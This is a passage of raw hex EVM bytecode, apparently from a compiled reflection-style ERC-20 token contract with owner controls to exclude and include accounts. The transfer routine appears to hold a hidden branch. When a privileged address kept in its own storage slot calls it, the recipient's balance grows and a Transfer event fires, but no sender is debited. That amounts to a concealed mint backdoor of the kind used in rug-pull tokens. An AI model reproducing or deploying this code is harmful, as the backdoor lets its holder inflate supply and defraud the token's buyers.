0390f35b610350600480360381019061034b9190613b4d565b610dbf565b60405161035d9190614194565b60405180910390f35b610380600480360381019061037b9190613b4d565b610e8c565b60405161038d9190614194565b60405180910390f35b6103b060048036038101906103ab9190613a99565b610eaa565b6040516103bd9190614194565b60405180910390f35b6103e060048036038101906103db9190613ac2565b610f00565b6040516103ed91906143b1565b60405180910390f35b610410600480360381019061040b9190613a99565b610f87565b005b61042c60048036038101906104279190613a99565b61123b565b005b61044860048036038101906104439190613a99565b6113fd565b005b60006104546117e4565b9050600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104da90614391565b60405180910390fd5b60006104ee836117ec565b50505050505050905061054981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105a181600754611e8d90919063ffffffff16565b6007819055506105bc83600854611ed790919063ffffffff16565b600881905550505050565b6060600980546105d6906145a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610602906145a0565b801561064f5780601f106106245761010080835404028352916020019161064f565b820191906000526020600020905b81548152906001019060200180831161063257829003601f168201915b5050505050905090565b60006106636117e4565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156107ea576000806000806000806106ca886117ec565b975097509750975050965096505061072a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061077a8585858585611f93565b8873ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a6040516107d791906143b1565b60405180910390a35050505050506107fd565b6107fc6107f56117e4565b8484612006565b5b6001905092915050565b60006a084595161401484a000000905090565b60006108278484846121d1565b6108e8846108336117e4565b6108e3856040518060600160405280602881526020016146ff60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108996117e4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e89092919063ffffffff16565b612006565b600190509392505050565b600060075482111561093a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610931906141f1565b60405180910390fd5b600061094461264c565b9050610959818461267790919063ffffffff16565b915050919050565b6000600b60009054906101000a900460ff16905090565b6000610a216109856117e4565b84610a1c85600460006109966117e4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b612006565b6001905092915050565b6000600854905090565b60006a084595161401484a000000831115610a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7c906142b1565b60405180910390fd5b81610aa7576000610a95846117ec565b50505050505050905080915050610ac0565b6000610ab2846117ec565b505050505050915050809150505b92915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b6157600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bac565b610ba9600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108f3565b90505b919050565b610bb96117e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3d906142f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610d3c906145a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610d68906145a0565b8015610db55780601f10610d8a57610100808354040283529160200191610db5565b820191906000526020600020905b815481529060010190602001808311610d9857829003601f168201915b5050505050905090565b6000610e82610dcc6117e4565b84610e7d856040518060600160405280602581526020016147276025913960046000610df66117e4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e89092919063ffffffff16565b612006565b6001905092915050565b6000610ea0610e996117e4565b84846121d1565b6001905092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f8f6117e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611013906142f1565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090614271565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561117d57611139600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108f3565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506006819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112436117e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c7906142f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611340576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133790614211565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6114056117e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906142f1565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661151e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151590614291565b60405180910390fd5b60005b6006805490508110156117e0578173ffffffffffffffffffffffffffffffffffffffff166006828154811061157f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117cd57600660016006805490506115da91906144e4565b81548110611611577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660068281548110611676577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506006805480611793577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556117e0565b80806117d8906145d2565b915050611521565b5050565b600033905090565b600080600080600080600080611800613a15565b6118098a6126c1565b856000600c8110611843577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201866001600c8110611881577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201876002600c81106118bf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201886008600c81106118fd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020189600a600c811061193b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018581525085815250858152508581525085815250505050505061196061264c565b816003600c811061199a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018181525050611ae78a826001600c81106119e1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151836003600c8110611a20577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151846002600c8110611a5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151856008600c8110611a9e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015186600a600c8110611add577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151612b4c565b866004600c8110611b21577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201876005600c8110611b5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201886006600c8110611b9d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201896007600c8110611bdb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018a6009600c8110611c19577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018b600b600c8110611c57577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201868152508681525086815250868152508681525086815250505050505050806004600c8110611cb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151816005600c8110611cf2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151826006600c8110611d31577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151836000600c8110611d70577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151846001600c8110611daf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151856002600c8110611dee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151866008600c8110611e2d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015187600a600c8110611e6c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201519850985098509850985098509850985050919395975091939597565b6000611ecf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506125e8565b905092915050565b6000808284611ee69190614403565b905083811015611f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2290614251565b60405180910390fd5b8091505092915050565b6000808284611f449190614403565b905083811015611f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8090614371565b60405180910390fd5b8091505092915050565b611fa885600754611e8d90919063ffffffff16565b600781905550611ff981611feb84611fdd87611fcf8a600854611ed790919063ffffffff16565b611ed790919063ffffffff16565b611ed790919063ffffffff16565b611ed790919063ffffffff16565b6008819055505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206d90614351565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd90614231565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516121c491906143b1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612241576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223890614331565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156122b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a8906141d1565b60405180910390fd5b600081116122f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122eb90614311565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123975750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123ac576123a7838383612c3c565b6125e3565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561244f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156124645761245f838383612e9f565b6125e2565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156125085750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561251d57612518838383613102565b6125e1565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125bf5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125d4576125cf8383836132d0565b6125e0565b6125df838383613102565b5b5b5b5b505050565b6000838311158290612630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262791906141af565b60405180910390fd5b506000838561263f91906144e4565b9050809150509392505050565b60008060006126596135c8565b91509150612670818361267790919063ffffffff16565b9250505090565b60006126b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613937565b905092915050565b60008060008060006126d1613a38565b6126f860006126ea60648a61267790919063ffffffff16565b61399a90919063ffffffff16565b81600060058110612732577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018181525050612762600861275460648a61267790919063ffffffff16565b61399a90919063ffffffff16565b8160016005811061279c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020181815250506127cc60026127be60648a61267790919063ffffffff16565b61399a90919063ffffffff16565b81600260058110612806577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018181525050612836600061282860648a61267790919063ffffffff16565b61399a90919063ffffffff16565b81600360058110612870577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020181815250506129ba816003600581106128b6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516129ac836000600581106128f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015161299e8560016005811061293a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516129908760026005811061297c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518e611e8d90919063ffffffff16565b611e8d90919063ffffffff16565b611e8d90919063ffffffff16565b611e8d90919063ffffffff16565b816004600581106129f4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201818152505080600460058110612a37577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015181600260058110612a76577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015182600160058110612ab5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015183600060058110612af4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015184600360058110612b33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151955095509550955095505091939590929450565b6000806000806000806000612b6a8b8e61399a90919063ffffffff16565b90506000612b818c8e61399a90919063ffffffff16565b90506000612b988d8d61399a90919063ffffffff16565b90506000612baf8e8c61399a90919063ffffffff16565b90506000612bc68f8e61399a90919063ffffffff16565b90506000612c1383612c0584612bf788612be98b8d611e8d90919063ffffffff16565b611e8d90919063ffffffff16565b611e8d90919063ffffffff16565b611e8d90919063ffffffff16565b90508581868685879b509b509b509b509b509b5050505050505096509650965096509650969050565b600080600080600080600080612c51896117ec565b97509750975097509750975097509750612cb389600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d4888600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ddd87600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2d8685858585611f93565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051612e8a91906143b1565b60405180910390a35050505050505050505050565b600080600080600080600080612eb4896117ec565b97509750975097509750975097509750612f1688600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fab85600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061304087600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130908685858585611f93565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516130ed91906143b1565b60405180910390a35050505050505050505050565b600080600080600080600080613117896117ec565b9750975097509750975097509750975061317988600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061320e87600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325e8685858585611f93565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516132bb91906143b1565b60405180910390a35050505050505050505050565b6000806000806000806000806132e5896117ec565b9750975097509750975097509750975061334789600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133dc88600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061347185600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061350687600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135568685858585611f93565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516135b391906143b1565b60405180910390a35050505050505050505050565b6000806000600754905060006a084595161401484a000000905060005b6006805490508110156138e857826002600060068481548110613631577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061374557508160036000600684815481106136dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613765576007546a084595161401484a00000094509450505050613933565b61381b60026000600684815481106137a6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611e8d90919063ffffffff16565b92506138d3600360006006848154811061385e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611e8d90919063ffffffff16565b915080806138e0906145d2565b9150506135e5565b506139096a084595161401484a00000060075461267790919063ffffffff16565b82101561392a576007546a084595161401484a000000935093505050613933565b81819350935050505b9091565b6000808311829061397e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161397591906141af565b60405180910390fd5b506000838561398d9190614459565b9050809150509392505050565b6000808314156139ad5760009050613a0f565b600082846139bb919061448a565b90508284826139ca9190614459565b14613a0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a01906142d1565b60405180910390fd5b809150505b92915050565b604051806101800160405280600c90602082028036833780820191505090505090565b6040518060a00160405280600590602082028036833780820191505090505090565b600081359050613a69816146b9565b92915050565b600081359050613a7e816146d0565b92915050565b600081359050613a93816146e7565b92915050565b600060208284031215613aab57600080fd5b6000613ab984828501613a5a565b91505092915050565b60008060408385031215613ad557600080fd5b6000613ae385828601613a5a565b9250506020613af485828601613a5a565b9150509250929050565b600080600060608486031215613b1357600080fd5b6000613b2186828701613a5a565b9350506020613b3286828701613a5a565b9250506040613b4386828701613a84565b9150509250925092565b60008060408385031215613b6057600080fd5b6000613b6e85828601613a5a565b9250506020613b7f85828601613a84565b9150509250929050565b600060208284031215613b9b57600080fd5b6000613ba984828501613a84565b91505092915050565b60008060408385031215613bc557600080fd5b6000613bd385828601613a84565b9250506020613be485828601613a6f565b9150509250929050565b613bf781614518565b82525050565b613c068161452a565b82525050565b6000613c17826143e7565b613c2181856143f2565b9350613c3181856020860161456d565b613c3a816146a8565b840191505092915050565b6000613c526023836143f2565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613cb8602a836143f2565b91507f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008301527f65666c656374696f6e73000000000000000000000000000000000000000000006020830152604082019050919050565b6000613d1e6026836143f2565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613d846022836143f2565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613dea601b836143f2565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000613e2a601b836143f2565b91507f4163636f756e7420697320616c7265616479206578636c7564656400000000006000830152602082019050919050565b6000613e6a601b836143f2565b91507f4163636f756e7420697320616c726561647920696e636c7564656400000000006000830152602082019050919050565b6000613eaa601f836143f2565b91507f416d6f756e74206d757374206265206c657373207468616e20737570706c79006000830152602082019050919050565b6000613eea6021836143f2565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613f506020836143f2565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000613f906029836143f2565b91507f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008301527f7468616e207a65726f00000000000000000000000000000000000000000000006020830152604082019050919050565b6000613ff66025836143f2565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061405c6024836143f2565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006140c26008836143f2565b91507f6f766572666c6f770000000000000000000000000000000000000000000000006000830152602082019050919050565b6000614102602c836143f2565b91507f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008301527f6869732066756e6374696f6e00000000000000000000000000000000000000006020830152604082019050919050565b61416481614556565b82525050565b61417381614560565b82525050565b600060208201905061418e6000830184613bee565b92915050565b60006020820190506141a96000830184613bfd565b92915050565b600060208201905081810360008301526141c98184613c0c565b905092915050565b600060208201905081810360008301526141ea81613c45565b9050919050565b6000602082019050818103600083015261420a81613cab565b9050919050565b6000602082019050818103600083015261422a81613d11565b9050919050565b6000602082019050818103600083015261424a81613d77565b9050919050565b6000602082019050818103600083015261426a81613ddd565b9050919050565b6000602082019050818103600083015261428a81613e1d565b9050919050565b600060208201905081810360008301526142aa81613e5d565b9050919050565b600060208201905081810360008301526142ca81613e9d565b9050919050565b600060208201905081810360008301526142ea81613edd565b9050919050565b6000602082019050818103600083015261430a81613f43565b9050919050565b6000602082019050818103600083015261432a81613f83565b9050919050565b6000602082019050818103600083015261434a81613fe9565b9050919050565b6000602082019050818103600083015261436a8161404f565b9050919050565b6000602082019050818103600083015261438a816140b5565b9050919050565b600060208201905081810360008301526143aa816140f5565b9050919050565b60006020820190506143c6600083018461415b565b92915050565b60006020820190506143e1600083018461416a565b92915050565b600081519050919050565b600082825260208201905092915050565b600061440e82614556565b915061441983614556565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561444e5761444d61461b565b5b828201905092915050565b600061446482614556565b915061446f83614556565b92508261447f5761447e61464a565b5b828204905092915050565b600061449582614556565b91506144a083614556565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156144d9576144d861461b565b5b828202905092915050565b60006144ef82614556565b91506144fa83614556565b92508282101561450d5761450c61461b565b5b828203905092915050565b600061452382614536565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561458b578082015181840152602081019050614570565b8381111561459a576000848401525b50505050565b600060028204905060018216806145b857607f821691505b602082108114156145cc576145cb614679565b5b50919050565b60006145dd82614556565b